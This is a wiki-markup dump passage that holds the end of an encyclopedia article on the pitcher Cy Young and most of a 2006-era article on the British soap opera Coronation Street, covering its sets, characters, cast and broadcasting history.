He was born in Gilmore, Ohio, a tiny village near [[Newcomerstown, Ohio]] where Young was later raised.  He also died in Newcomerstown, where the local park bears his name and a [[memorial]] to the pitcher.

{{MLB HoF}}
Young is generally considered one of the greatest pitchers of all time.  Not only is he a member of the [[Baseball Hall of Fame]] (elected in [[Baseball Hall of Fame balloting, 1937|1937]]), but the [[Cy Young Award]], the annual award given to the best [[Major League Baseball|major league]] pitcher in each league, is named in his honor.  From [[1956]], the first full season after Young's death, until [[1966]], it was given to the best pitcher in baseball.  Starting in [[1967]], it was given to the best in each league.

Young set a career record for wins, 511, that will almost certainly never be matched under current conditions. Today, most seasons produce few pitchers with more than 20 wins, at which pace a pitcher would have to pitch for more than 25 years to surpass the record.  Young's great longevity means he also holds the record for the most losses, despite winning 62% of his decisions.  His unreachable total was echoed one day, when, as he told a reporter many years after his retirement, a man walked up to him, seemed to recognize him, and asked, &quot;Did you used to play baseball?&quot; Young told the reporter that he told the man, &quot;Mister, I won more games than you'll ever see.&quot;

Young began his major league career in [[1890]] with the [[Cleveland Spiders]] and achieved stardom rapidly.  He was one of the few star hurlers to maintain his level of success after the pitching mound was moved back to its present 60 feet 6 inches in [[1893 in sports|1893]]. He maintained that level for over two decades, playing for the [[St. Louis Cardinals|St. Louis Perfectos]] in [[1899]] and [[1900]] (by which time they had become the Cardinals) before jumping to the new [[American League]] in [[1901]] with the [[Boston Red Sox|Boston Americans]], for whom he played through 1908. The Cleveland and St. Louis ownership had essentially swapped teams by trading all the players and neither Cy nor his wife were comfortable in St Louis. He retired after the [[1911]] season, following 2 seasons with the [[Cleveland Indians|Cleveland Naps]] and a year split between the Naps and the [[Atlanta Braves|Boston Rustlers]].  His [[arm]] was as strong as ever, but, as the somewhat portly pitcher told an [[interviewer]], he could not field bunts as well as he once could, and &quot;when the third baseman has to do my work for me, it's time to quit.&quot; 

[[Image:cy_young.jpg|thumb|''Cy Young, 1911 baseball card'']]

He pitched a [[perfect game]] on [[May 5]], [[1904]], against [[Oakland Athletics|Philadelphia]]. In later years, he considered this game his greatest day in baseball. It was part of an astonishing performance that resulted in a record for most consecutive scoreless innings and most consecutive no-hit innings, the latter a record that still stands.

Young's longevity is nearly unique &amp;ndash; the injury rate caused by pitching conditions at the turn of the century limited even the most talented to pitching careers that rarely lasted a single decade, let alone two. Pitchers regularly pitched entire games, there being no specialized relievers, and good pitchers were used hard. No modern pitcher ever pitches the number of innings many managed in those days.  Only [[Nolan Ryan]], [[Tommy John]], and perhaps [[Satchel Paige]] primarily in the [[Negro Leagues]] have significantly surpassed Young's number of years pitched.  On the other hand, it must be noted that pitchers of that era were expected to complete their games; in consequence, they paced themselves throughout the game and seldom threw as many hard pitches in the early and middle innings as today's pitchers.  There was also little danger of [[home runs]] being hit and a pitcher could frequently simply throw the pitch down the center of the plate and let the batter hit the ball in play.  These circumstances enabled the better pitchers of the day to put up astronomical totals (by modern standards) of complete games and innings pitched and of games won.

In [[1993]], [[Northeastern University]] unveiled a statue of Young outside one of its athletic complexes, the Cabot Center.  The statue stands at roughly the spot where stood the pitcher's mound of the [[Huntington Avenue Grounds]], the home field of the Red Sox in Young's time.

In [[1999]], 88 years after his final major league appearance and 44 years after his death, he ranked Number 14 on ''[[The Sporting News]]''' list of the 100 Greatest Baseball Players, and was elected to the [[Major League Baseball All-Century Team]], even though he pitched in the last ten seasons of the preceding century.

==[[Baseball statistics|Career statistics]]==
&lt;table border=&quot;true&quot;&gt;
&lt;tr&gt;&lt;td&gt;W&lt;/td&gt;&lt;td&gt;L&lt;/td&gt;&lt;td&gt;ERA&lt;/td&gt;&lt;td&gt;G&lt;/td&gt;&lt;td&gt;GS&lt;/td&gt;&lt;td&gt;CG&lt;/td&gt;&lt;td&gt;SHO&lt;/td&gt;&lt;td&gt;SV&lt;/td&gt;&lt;td&gt;IP&lt;/td&gt;&lt;td&gt;H&lt;/td&gt;&lt;td&gt;ER&lt;/td&gt;&lt;td&gt;HR&lt;/td&gt;&lt;td&gt;BB&lt;/td&gt;&lt;td&gt;SO&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;511&lt;/td&gt;&lt;td&gt;316&lt;/td&gt;&lt;td&gt;2.63&lt;/td&gt;&lt;td&gt;906&lt;/td&gt;&lt;td&gt;815&lt;/td&gt;&lt;td&gt;749&lt;/td&gt;&lt;td&gt;76&lt;/td&gt;&lt;td&gt;17&lt;/td&gt;&lt;td&gt;7356&lt;/td&gt;&lt;td&gt;7,092&lt;/td&gt;&lt;td&gt;2,147&lt;/td&gt;&lt;td&gt;138&lt;/td&gt;&lt;td&gt;1,217&lt;/td&gt;&lt;td&gt;2,803&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==Interesting fact==
*The last seven batters Young faced in his career hit a [[Triple (baseball)|triple]], three [[Single (baseball)|singles]] and three [[Double (baseball)|doubles]].  He was relieved after those seven consecutive hits on [[October 6]], [[1911]] and retired after the season.

==See also==
* [[Boston Red Sox Hall of Fame]]
* [[Top 100 winning pitchers of all time]]

==External links==
*[http://www.baseballhalloffame.org/hofers_and_honorees/hofer_bios/young_cy.htm Link to Cy Young's page on the Baseball Hall of Fame website]
*[http://www.baseball-reference.com/y/youngcy01.shtml Baseball-Reference.com] career playing stats and managing record

{{start box}}
{{succession box|title=[[Boston Red Sox|Boston Red Sox manager]]|before=[[Chick Stahl]]|years=1907| after=[[George Huff (baseball)|George Huff]]}}
{{end box}}

[[Category:300 win club|Young, Cy]]
[[Category:Baseball Hall of Fame|Young, Cy]]
[[Category:Boston Red Sox players|Young, Cy]]
[[Category:Boston Rustlers players|Young, Cy]]
[[Category:Cleveland Naps players|Young, Cy]]
[[Category:Cleveland Spiders players|Young, Cy]]
[[Category:St. Louis Cardinals players|Young, Cy]]
[[Category:Boston Red Sox managers|Young, Cy]]
[[Category:Major league pitchers|Young, Cy]]
[[Category:19th century baseball players|Young, Cy]]
[[Category:1867 births|Young, Cy]]
[[Category:1955 deaths|Young, Cy]]
[[Category:People from Ohio|Young, Cy]]
[[Category:MLB pitchers who have pitched a no-hitter|Young, Cy]]
[[Category:MLB pitchers who have pitched a perfect game|Young, Cy]]

[[ja:&amp;#12469;&amp;#12452;&amp;#12539;&amp;#12516;&amp;#12531;&amp;#12464;]]
[[sv:Cy Young]]
[[zh:賽·揚]]</text>
    </revision>
  </page>
  <page>
    <title>Coronation Street</title>
    <id>6851</id>
    <revision>
      <id>41923962</id>
      <timestamp>2006-03-02T17:29:07Z</timestamp>
      <contributor>
        <username>Pete Fenelon</username>
        <id>660526</id>
      </contributor>
      <comment>rv to previous edit - bulk deletion on previous edit.</comment>
      <text xml:space="preserve">{{infobox television |
  | show_name = Coronation Street  
  | image = [[Image:Coronationstreet2004.jpg|center|250px]]
  | caption = The current opening credits, introduced in 2002.

  | format = [[Soap opera]]
  | runtime = 21 [[minute|min]] excluding advertisements
  | creator = [[Tony Warren]]
  | starring = [[List of characters from Coronation Street|A sizable list of regulars]]
  | country = [[United Kingdom]]
  | network = [[ITV1]]
  | first_aired = [[December 9]], [[1960]]
  | last_aired = Present
  | num_episodes = 6239 as of [[1 March]] [[2006]]
  | imdb_id = 0053494
  |}}
'''''Coronation Street''''' is [[United Kingdom|Britain]]'s longest-running [[television]] [[soap opera]], and the UK's consistently highest-rated show. It was created by [[Tony Warren]] and first broadcast on the [[ITV]] network on Friday [[December 9]], [[1960]]. The working title of the show was ''Florizel Street'', but Agnes, a tea lady at [[Granada Television]], Manchester, (where ''Coronation Street'' is produced) remarked that &quot;Florizel&quot; sounded too much like a disinfectant. ''Jubilee Street'' was another option considered.

''Coronation Street'' (commonly nicknamed ''Corrie'', and to a lesser extent ''Coro St'', ''Corra'', ''CS'', or even ''Corruption Street'') is set in a fictional street in the fictional industrial town of ''Weatherfield'' which is based on [[Salford]], now part of [[Greater Manchester]] (a Coronation Street does exist in Salford). Its principal rival soap operas are [[ITV1]]'s ''[[Emmerdale]]'' and [[BBC1]]'s ''[[EastEnders]]''.

The show's iconic theme music, a brass-band throwback to the sounds of the 1940s, was written by [[Eric Spear]] and has been only slightly modified since the show's beginning.

''Coronation Street'' can be seen on [[ITV1]] on Sunday, Monday, Wednesday and Friday at 7:30 p.m. There is also an extra episode on Monday night at 8:30 p.m.

Granada and ITV executives, as well as the people in charge of distributing the show overseas, have called (and still call, [[as of 2006]]) ''Coronation Street'' the world's longest-running soap opera. The [[Guinness Book of Records]] recognises [[United States|American]] soap opera ''[[Guiding Light]]'' as the world's longest-running soap opera, with over fifty years on television and an extra fifteen on radio.

==Background to Coronation Street==
[[Image:enamarthaatbar.jpg|left|thumb|250px|Ena Sharples and Martha Longhurst, fighting over who was first at the Snug bar.]]

Originally broadcast live, it is now pre-recorded, usually four to six weeks in advance of broadcast.  Whereas rival British soap operas are known either for their gritty gloom (''[[EastEnders]]'') or their cutting, sharp one-liners (''[[Emmerdale]]''), ''Coronation Street'' is known on occasions for its light, almost camp humour, though it has tackled some controversial topics and storylines ''(see [[Most controversial storylines of Coronation Street]] for details)''.

The &quot;Street&quot; is based in a terraced row of seven working-class houses (for some years, six, with a garden in the place of the seventh) with a public house, or pub, and a corner shop at each end.

According to the storyline, the Street was built in 1902, and named after that year's big national event, the coronation of King [[Edward VII of the United Kingdom|Edward VII]]. The Street is located between Rosamund Street and Viaduct Street. The architecture of the Street was based on Archie Street, Salford, which appeared in the programme's original opening credits. The Street itself was originally a set built inside a studio, with the houses reduced in scale. This was awkward for the actors, who had to walk more slowly than normal to appear in scale with the set. 

[[Image:Roversbar.jpg|right|thumb|250px|The Rovers set, shown just before opening time, from 1970. From left to right: Betty Turpin, Hilda Ogden, Annie Walker and Jack Walker.]]

In 1968, Granada decided to build an outside set. All interactions on the outside street were previously filmed on a soundstage. This new set was built on some old railway sidings near the Granada Studios, and coincided with a storyline of the demolition of Ellison's Raincoat Factory and the Mission Hall and the subsequent building of maisonettes opposite the terrace. 
To usher in the erection of the new set, a special-effects-laden storyline involving a train wreck was filmed; the viewers did not know if Ena Sharples was dead under the rubble. In the early 1970s roofs and back yards were added, but the set was still reduced in scale and quite cramped. Also, the famous cobbles were not parallel to the houses.  This site later became the New York Street at the now-closed [[Granada Studios Tour]] complex in the late 1980s and 1990s.

In 1982 a modern, full-size exterior street was built in the Granada backlot; because it was meant to be permanent the houses were constructed from reclaimed [[Salford]] brick, rather than wood and scaffolding. However, the houses had no interior walls — the chimneys had to be made of fibreglass, since there would otherwise be insufficient support. Even now, several Granada towerblocks dominate the skyline over the street, and are usually obscured/'hidden' through careful camera angles. The majority of interior scenes are still shot in the adjoining purpose-built studio. When the Granada Studios Tour was closed in 1999, the exterior set was extended and updated: the derelict Graffiti Club on Rosamund Street was revamped and reopened as a medical centre/surgery (the character [[Gail Platt]] is the only major character that works there), a new street, Victoria Street, was built to house three shops (see below) and two houses; parallel to the newly-built street was the side of Rosamund Street and a new builder's yard was placed there (which backs onto the betting shop). To obscure one of the Granada towerblocks, a new viaduct was placed on Rosamund Street (behind the Rovers and parallel to Victoria Street). The 'viaduct' is actually a façade with an optical illusion to make it look complete. 

[[Image:Rovers1970s.jpg|left|thumb|250px|The Rovers set, in the late 1970s. Pictured are the characters Annie Walker, Betty Turpin, Mike Baldwin, and Eddie Yeats (back to camera).]]

Additional surrounding streets have been added in recent years, while the current (introduced [[7 January]] [[2002]]) [[Computer-generated_imagery|computer-generated]] opening credits &quot;locates&quot; Coronation Street in a large urban landscape surrounded by similar small working-class streets. (Previously a montage of similar streets shot in several cities had been used; however, an opening sequence in the early 1970s indicates Coronation Street's proximity to a modern high-rise block of flats.) While one side of the street consists of the early [[20th-century]] houses, the other consists of a factory, a shop, a garage and some smart semi-detached houses built in 1989. 

As befitting the soap-opera genre, the Street is made up of individual housing units, plus six communal areas; a newsagent's (the Kabin), a small eaterie (Roy's Rolls — owned by the eccentric Roy Cropper), a general grocery shop (currently owned by the smooth Dev Alahan), a factory (&quot;Underworld&quot; — owned by Cockney rogue Mike Baldwin), a bakery (&quot;Compton's Bakery&quot; - owned by Diggory Compton) and its permanent feature, a public house called &quot;The [[Rovers Return]]&quot;, whose landlord or landlady invariably becomes one of Britain's most famous actors (the first manageress, Annie Walker, played by [[Doris Speed]], became a national icon and was employed behind the bar for over two decades). Many of the Street's most famous stories, including the death of Martha Longhurst in May [[1964]], and the 1986 fire, occurred there.
&lt;br clear=all&gt;

==1960s kitchen-sink drama==
[[Image:enaelsiefight.jpg|left|thumb|250px|Ena and Elsie were adversaries from the day they met each other, and their mutual antagonism rarely subsided.]]

The serial began on [[9 December]] [[1960]] and was not initially a critical success. Granada commissioned only 13 episodes and many people inside the company doubted the show would last its planned production run.  However it caught the imagination of viewers, not least because of its location in the North of England, which was becoming a highly fashionable and visible centre of 1960s Britain, thanks in part to classics of [[British New Wave|British new wave]] cinema such as ''[[Billy Liar]]'' and ''[[Saturday Night and Sunday Morning]]'', the &quot;kitchen-sink&quot; dramas of the [[BBC]]'s ''[[The Wednesday Play]]'' and the rise of [[Merseybeat]] and especially [[the Beatles]], from nearby [[Liverpool]]. Like kitchen-sink dramas, ''Coronation Street'' focused on the plight of &quot;ordinary folk&quot;, often making use of Northern English language and dialect. Affectionate local terms like &quot;eh, chuck&quot;, &quot;nowt&quot; and others became widely heard on British TV for the first time. 

The storylines focus on the experiences of families and their interaction, and on relationships between people of different ages, classes and social structures. In some ways ''Coronation Street'' has charted the changes in public attitudes towards religion, politics, community, family breakdown, the gentrification of working class areas, etc. 

For example, in the first decade one of the central social points on the street was the 'Glad Tidings' Mission Hall, where religious services were held and social contacts, parties, etc took place. By the start of the 21st century, no religious 'set' exists, with the only particularly religious resident on the street being the 70-year-old widow, [[Emily Bishop]] ([[Eileen Derbyshire]]). Religion, if it features at all, is mentioned in weddings and funerals, though here too, matching contemporary society, registry office weddings and non-religious funerals are increasingly common.

[[Image:Howardwedding.jpg|right|thumb|250px|Another happy day for Elsie: On her wedding day to Alan Howard in 1970. [[Len Fairclough]] and [[Bet Lynch]] were witnesses at the registry office ceremony.]]

Early storylines featured self-appointed moral voice [[Ena Sharples]] ([[Violet Carson]]), and her friends: timid [[Minnie Caldwell]] ([[Margot Bryant]]) and bespectacled [[Martha Longhurst]] ([[Lynne Carol]]). When Martha was killed off the programme, [[Albert Tatlock]] ([[Jack Howarth]]) was allowed to be the unofficial third friend in the group. Ena and Albert had many differences, which they aired regularly, and Albert and Minnie were supposed to be married in the early 1970s. The marriage was eventually called off.

Headstrong Ena frequently clashed with [[Elsie Tanner]] ([[Patricia Phoenix|Pat Phoenix]]), whom she believed espoused a rather disgusting set of morals. Elsie believed in the right to let each person live life according to how they see fit, and resented Ena's gossip, which, most of the time, didn't have much of a basis in reality.

Most of the stories in the early days (and, to an extent, still today) addressed how working-class people made a caste system in their own mini-society and excommunicated others they did not wish to associate with. In reality, many of the people deemed too common (like Elsie Tanner, Hilda and Stan Ogden, played by [[Jean Alexander]] and [[Bernard Youens]]) were of the exact same stock as the people who were judging them.

==Characters and characterisations==
{{further|[[List of characters from Coronation Street]]}}
Of the original cast on the first show in 1960, only one character remains today: [[Ken Barlow]], played by [[William Roache]]. Barlow entered the storyline as a young radical son, the elder of two brothers, epitomising the youth of 1960s Britain, where figures like the Beatles, the model [[Twiggy]], [[the Rolling Stones]] and [[the Who]] were reshaping the concept of youthful rebellion. Though the rest of the family were killed off or moved, Ken Barlow has remained the constant link throughout 45 years of ''Coronation Street''. For more details of Ken's storylines, see the article on him.  

Barlow's character embodies the clash of perspectives and cultures played out in the soap opera. For decades his arch-foe was Mike Baldwin ([[Johnny Briggs (actor)|Johnny Briggs]]), a dodgy [[Cockney]] businessman, who set up a clothes factory on the street. Baldwin and Barlow epitomised two different types of character. Whereas Barlow was an arts-oriented, left-of-centre community-centred man, Baldwin was a cut-and-thrust, [[capitalist]], right-wing businessman, who forever mocked Barlow as a &quot;waster&quot; who could do 'nothing but talk'. Their lives were complicated in typical soap-opera style by personal links. Barlow's third wife, Deirdre ([[Anne Kirkbride]]), had an affair with Baldwin before going back to Barlow. Baldwin then met and married Barlow's daughter, Susan (by an earlier marriage), but broke up with her after she had supposedly had an abortion. A decade later it became apparent that she had not had an abortion, but had borne Baldwin's child. Finally she told her father, who told Deirdre, who told Dev Alahan ([[Jimmi Harkishin]]), who told Mike Baldwin, who tried to get access to his son, Adam. In fleeing from him, Susan was killed in a car-crash, leaving Adam's father (Mike Baldwin) and his grandfather (Ken Barlow) fighting over custody. In one of the great soap-opera reconciliations, Baldwin and Barlow, having reconciled their differences, became friends (as are the actors who play them in real life).

===Long-established characters===

*''[[Ken Barlow]]'' ([[William Roache]]) is the only character who has been on the Street since the first episode. His family left one by one: his mother died under the wheels of a bus, his father married a younger woman and left town, and his brother died with his young son in a car accident. He has married three times: to [[Valerie Tatlock]] (who died when she was electrocuted by her own hairdryer), [[Janet Reid]] (who left him and who later committed suicide when he wouldn't take her back), and Deirdre Hunt Langton (who cheated on him, begged him to reconcile, then divorced him when the tables were turned). Ken and Deirdre have since remarried.
*''[[Emily Bishop]]'' (formerly Emily Nugent, played by [[Eileen Derbyshire]]), who joined the cast on January 17 1961, just a few weeks into the show's run, began as a young woman working at Gamma Garments. She jilted lay preacher Leonard Swindley in 1964, and stayed a virgin until her 39th year, when she made love with her [[Hungary|Hungarian]] revolutionary boyfriend. She finally married, in 1972, Ernest Bishop, whose murder she had to cope with in 1978. Emily is now a [[widow]] in her seventies, a neighbourhood stalwart respected and liked by all, and the Street's only character to be heavily involved in the religious community. In January 2003, she was badly injured after being hit over the head by [[Richard Hillman]] (who minutes later killed [[Maxine Peacock]]) but made a full recovery and returned home.
*''[[Betty Turpin|Betty Williams]]'', (formerly Betty Turpin, played by [[Betty Driver]]), began as a policeman's wife first brought to the Street as convenient help for her sister Maggie Clegg ([[Irene Sutcliffe]]). Since then, she has been pulling pints and making her legendary [[Lancashire Hotpot]] at the Rovers for over 35 years.
*''[[Rita Sullivan]]'' (formerly Rita Littlewood/Fairclough, played by [[Barbara Knox]]), one-time nightclub singer, twice-widowed owner of a small newsagent's shop, whose role often is to play the 'straight' part of a comedy double act, the other being the invariably odd-ball co-worker, Mavis or, most recently, Norris.
*''[[Mike Baldwin]]'' ([[Johnny Briggs (actor)|Johnny Briggs]]), London-born businessman who ran the ''Baldwin's Casuals'' jeanswear factory before selling to a property developer, who built the houses in which many characters now live. He then established an underwear business further up the street, called ''Underworld''. Married four times — to [[Susan Barlow]], [[Jackie Ingram]] and [[Alma Sedgewick]], all of whom divorced him; and Linda Sykes, from whom he is estranged. Has three sons — Mark Redman (from an affair with florist Maggie Redman in the early 80s); Adam Baldwin (by first wife Susan, though Mike always believed Susan had aborted the baby); and Danny Baldwin (by his brother Harry's wife in the 1960s - Mike and Danny weren't told the truth until 2005 when Harry died).
*''[[Deirdre Barlow]]''  (formerly Deirdre Hunt/Langton/Rachid, played by [[Anne Kirkbride]]) third and current wife of Ken Barlow. Her first husband Ray Langton left her. Ken Barlow was her second. Her third husband, Samir Rachid, died in mysterious circumstances while on his way to donate a kidney to Deirdre's daughter Tracy (he died, so she got both kidneys). Deirdre and Ken reconciled after being divorced for over a decade, and remarried in 2005.
*''[[Gail Platt]]'' (formerly Gail Potter/Tilsley/Hillman, played by [[Helen Worth]]), thrice-married, twice-divorced and twice-widowed (she remarried her first husband, who was later killed) forty-something who came into the series as a teenage girl in the 1970s, whose third husband, [[Richard Hillman]], was a serial killer.
*''[[Audrey Roberts]]'' (formerly Audrey Potter, played by [[Sue Nicholls]]), widow of former Weatherfield mayor Alf Roberts, owner of the local hair salon, mother of Gail and near-victim of ''[[Richard Hillman]]'';
*''[[Vera Duckworth|Vera]] and [[Jack Duckworth]]'' ([[Elizabeth Dawn|Liz Dawn]] and [[William Tarmey]]) — the street's most legendary comedy duo, the perennial losers, with a villain son who returns to visit and rip them off occasionally. Having inherited a large sum, they lost it to Richard Hillman. Vera initially appeared without Jack, who was mentioned for two years before appearing onscreen.

===Other well-known actors===
Actors and actresses who began or spent part of their career in ''Coronation Street'' include:

====Regular appearances====
* [[Amanda Barrie]], who played Alma Baldwin, one-time wife of Mike Baldwin, was an early star of the ''Carry On'' series of British films.
* [[Chris Bisson]] as Vikram Desai, later the star of [[East is East (film)|East is East]] and a recurring star in [[Shameless]].
* [[Craig Charles]], star of [[Red Dwarf]] as cab-driver Lloyd.
* Ex-[[Boyzone]] star [[Keith Duffy]] played Ciaran McCarthy, a Rovers Return barman.
* [[Peter Duncan (actor)|Peter Duncan]], who went on to present [[Blue Peter]] and become the UK's chief scout, played Christopher Cullen in the mid-1970;s.
* [[Roy Hudd]] played Audrey Robert's close friend - and professional undertaker - Archie Shuttleworth in 2002-2003, who assisted Audrey in trying to bring down the Street's serial killer, Richard Hillman.
* [[Ben Kingsley]], who portrayed [[Mahatma Gandhi]] in [[Richard Attenborough]]'s biographical film, ''[[Gandhi (film)|Gandhi]]''.
* [[Arthur Lowe]], who starred as ''Captain Mainwaring'' in ''[[Dad's Army]]'' appeared for several years as Leonard Swindley, taking the character into the spin-off sitcom [[Pardon The Expression]].
* [[Linus Roache]], son of Bill Roache (Ken Barlow) who played Peter Barlow and went on to star in the film ''Priest''. 
* [[William Russell (actor)|William Russell]], regular companion in [[Doctor Who]] as Rita's second husband Ted Sullivan in 1992.
* [[Michael Sheard]] who played Mr. Bronson in [[Grange Hill (television)|Grange Hill]] appeared as Arthur Dabner in 1989.
* [[Elisabeth Sladen]], who went on to genre fame as [[Sarah-Jane Smith]] in Doctor Who, played Anita Reynolds in 1970.
* [[Debra Stephenson]], star of [[ITV]] prison drama [[Bad Girls (television series)|Bad Girls]] as Frankie Baldwin.
* [[Bradley Walsh]], comedian, once half of a comedy duo with [[Joe Pasquale]] , who has become Danny Baldwin, Mike's &quot;nephew&quot; who later found out he was his son.

====Short-term appearances====
* [[Honor Blackman]] played an ageing wife-swapper who wanted to swap with Norris and Rita.
* Music star [[Cliff Richard]] appeared in a scene, but he had his back to the camera. The main characteristics of him in the scene, which was shot in the Rovers, were black hair, and a jumper which had the words 'Rock and Roll' across it.
* [[Graham Fellows]], the comedian-pop star who created the fictional personas [[Jilted John]] and [[John Shuttleworth]], had a cameo role in one episode and later returned as truck driver Les Charlton, a regular at Gail's cafe.
* [[Davy Jones]] of [[The Monkees]] made an appearance before he became famous in 1961 as Ena Sharples's grandson Colin Lomax.
* [[Bolton]] [[comedian]] [[Peter Kay]] played a shopfitter in 1997 and made a cameo appearance over two episodes in January 2004.
* [[Joanna Lumley]] of ''[[Absolutely Fabulous]]'' and ''[[The New Avengers]]''
* [[Sir Ian McKellen]] starred in 10 episodes in 2005 as dodgy novelist Melvin Hutchwright
* [[Peter Noone]] of [[Herman's Hermits]]
* [[Status Quo (band)|Status Quo]], the legendary [[rock (music)|rock]] band, appeared as themselves on Friday 23rd September 2005, when they assaulted Les for an incident which involved him 20 years previous. They appeared again on October 31, 2005 to play at Les and Cilla's wedding.
* [[Charles, Prince of Wales|The Prince of Wales]], who played himself in a walk-on part (see below).
* [[Norman Wisdom]], comedian, played fitness fanatic Ernie Crabbe in one episode in 2004
* [[Peter Kay]] who played a man who went on a date with Shelley Unwin.

[[Laurence Olivier]] once offered to take part in a scene on the Street, acting alongside Jean Alexander, whom he admitted was his favourite actress on the programme. However, scheduling conflicts between the Street and the film ''[[Marathon Man]]'' denied him the chance to act on his favourite TV programme. [[Michael Crawford]] and [[Robbie Williams]] have both appeared as extras, drinking in the bar of the Rovers.

On [[8th December]] [[2000]], the show celebrated its fortieth year by broadcasting an hour long edition of the show, its first episode to be broadcast live in decades. Guest of honour in the show was the Prince of Wales, heir-apparent to the British Throne, who featured in a pre-recorded segment, a 'news bulletin report' of his being welcomed to Weatherfield by then-mayor Audrey Roberts, which was being shown on the TV in the Rovers Return at one point on the evening. (His mother, [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], has visited the ''Coronation Street'' set and met the cast on a number of occasions, even taking a drink with the cast in the ''Rovers Return''.)

==Backstage staff==
* [[Bill Podmore]] was the show's longest serving producer. By the time he stepped down in 1988 he had completed 13 years at the production helm. Nicknamed the &quot;godfather&quot; by the tabloid press, he was renowned for his tough, uncompromising style and was feared by both crew and cast alike. He is probably most famous for sacking [[Peter Adamson]], the show's Len Fairclough, in 1983.
*[[Paul Abbott]] was a [[script editor]] on the programme in the 1980s, the youngest ever person to hold such a position on the show at the time, and in 1989 began writing episodes. He left in 1993 to produce ''[[Cracker (British television)|Cracker]]'', for which he later wrote, before creating his own highly-acclaimed dramas such as ''[[Touching Evil]]'', ''[[Clocking Off]]'', ''[[State of Play]]'' and ''[[Shameless]]''.
*[[Russell T. Davies]] was briefly a storyliner on the programme in the mid-1990s, also writing the script for one of the [[direct-to-video]] specials. He, too, has become a noted writer of his own high-profile television drama programmes, including ''[[Queer as Folk (UK)|Queer as Folk]]'', ''[[The Second Coming (TV)|The Second Coming]]'', ''[[Casanova (2005 television)|Casanova]]'' and the 2005 revival of ''[[Doctor Who]]''.

==Scheduling==
The programme is currently shown in five episodes on four evenings a week on British television: on Mondays at 19.30 and 20.30 (with the current affairs programme [[Tonight with Trevor MacDonald]] in between the two episodes), and at 19.30 on Wednesdays, Fridays and Sundays. On Tuesdays and Thursdays, when the [[BBC1]] soap  ''[[EastEnders]]'' goes out at 19.30, the &quot;Corrie slot&quot; on ITV is filled by [[regional programme]]s. ''[[EastEnders]]'' is broadcast four times a week on the BBC (Monday, Tuesday, Thursday and Friday). When the two programmes were scheduled opposite each other in 1994, Corrie had millions more tuning in as the writers revealed that Emily Bishop's wedding was to be called off. The soaps clashed again in August 2001 however and EastEnders won the tussle, since then the two soaps have had no further clashes and ITV has agreed with the BBC that the shows will not clash again.
In 1981, over 24 million people in the [[United Kingdom]] watched Ken Barlow marry Deirdre Langton — more than the number of people who (just two days later) saw [[Prince Charles, Prince of Wales|The Prince of Wales]] marry [[Diana, Princess of Wales|Lady Diana Spencer]].  Since then, viewing figures have declined: Ken and Deirdre's remarriage in 2005 attracted 12.9 million viewers. [http://www.dailyrecord.co.uk/news/tm_objectid=15387803&amp;method=full&amp;siteid=89488&amp;headline=ken-and-deirdre-are-ratings-winners-name_page.html] However, this still beat the 8.7 million who watched coverage of the wedding of Prince Charles and [[Camilla, Duchess of Cornwall|Camilla Parker-Bowles]] earlier the same day. Partly due to the addition of new terrestrial and satellite channels and thus new rival programming, it still remains ITV's most-watched programme, with audiences in excess of 10 million.  The show's [[omnibus (broadcast)|omnibus]] is shown on [[ITV2]]. Classic Corrie episodes aired on [[Granada Plus]] until that channel was closed in November 2004.

The special [[Christmas]] Day episode remains as central to many viewers' Christmas day celebration as the Queen's Speech. The Christmas Day episode that aired in 1987 was one of the most-watched episodes of all time; in the episode, [[Hilda Ogden]] left the Street to be a char to her doctor in the country. Nearly 27 million viewers tuned in.

===Other countries===
''Coronation Street'' is also shown in many countries worldwide, being the centre of the TV schedule of [[Ireland]]'s independent television station, [[TV3 Ireland]] (part-owned by Granada), which simulcasts it with ITV. 

In [[Canada]], it moved from a daytime slot on [[CBC Television]] to primetime in 2004. In 2005, CBC briefly broadcast eight episodes a week in order to reduce the gap, and during a subsequent labour dispute, CBC broadcast nine (and soon ten) episodes each week.  CBC has also, before and during the labour dispute, aired the &quot;Coronation Street Specials&quot;. [[CBC Country Canada]], a digital television service operated by CBC, broadcasts older episodes as ''Corrie Classics''. The 2002 edition of the ''[[Guinness Book of Records]]'' recognizes the 1,144 episodes sold to CBC-owned [[Saskatoon, Saskatchewan]] TV station [[CBKST]] by Granada TV on [[31 May]] [[1971]] to be the largest number of TV shows ever purchased in one transaction.  

The programme is shown in [[Australia]] by the cable and satellite station [[UK.TV]]; the episodes are about 18 months behind the UK. This gap is comparable to that for the episodes currently showing in [[New Zealand]] on [[Television New Zealand|Television New Zealand's]] TV One. It is also exclusively shown only in [[Perth, Western Australia|Perth]] on the [[Nine Network]]'s Perth affiliate ([[STW-9]])at 5:30pm Weeknights since [[October 2005]]. This has come with a massive advertising blitz and has proved to be quite popular thanks to the high percentage of British people living in Perth. The episodes shown are about 18 months behind Britain. This is the first time ''Coronation Street'' has been broadcast on Free to Air TV in Australia since a brief daytime run on Channel Nine in the mid 1990s.

A conspicuous holdout amongst English-language television markets is the [[United States]]. The [[Trio channel]] aired a few episodes of the serial as a part of special-interest programming project, but a concerted effort to air it in the American market has never materialized. A two-disc DVD compilation was released in America, however, provoking some optimism that a cable channel might be interested in showing the soap. In the early 1970s some episodes were shown on [[WGBH]] Channel 2, the public television station in [[Boston, Massachusetts]]; while in the early-1980s, [[USA Network]] aired Corrie on weekends, but only briefly.

American viewers in the parts of the northern U.S. can view CBC's ''Coronation Street'' telecasts.  In particular, cable TV subscribers in places including [[Seattle]], [[Buffalo%2C_New_York|Buffalo]], parts of [[Michigan]] and [[New Hampshire]] are able to view the programme on CBC affiliates.  Other Americans near the Canadian border can view the program via over-the-air reception from nearby CBC transmitters. 

Dutch broadcaster [[VARA (radio and TV)|VARA]] showed 428 sub-titled episodes on [[Netherlands]] TV between 1967 and 1975.

===VHS and DVD releases===
In 1985, to celebrate the serial's 25th anniversary, two video tapes were released, entitled &quot;The Jubilee Years - Part One&quot; and &quot;The Jubilee Years - Part Two&quot;. These featured a previously unseen character Alice Hughes revisit the Street to recall upon characters like Ena and Elsie and catch up on 'current happenings'.

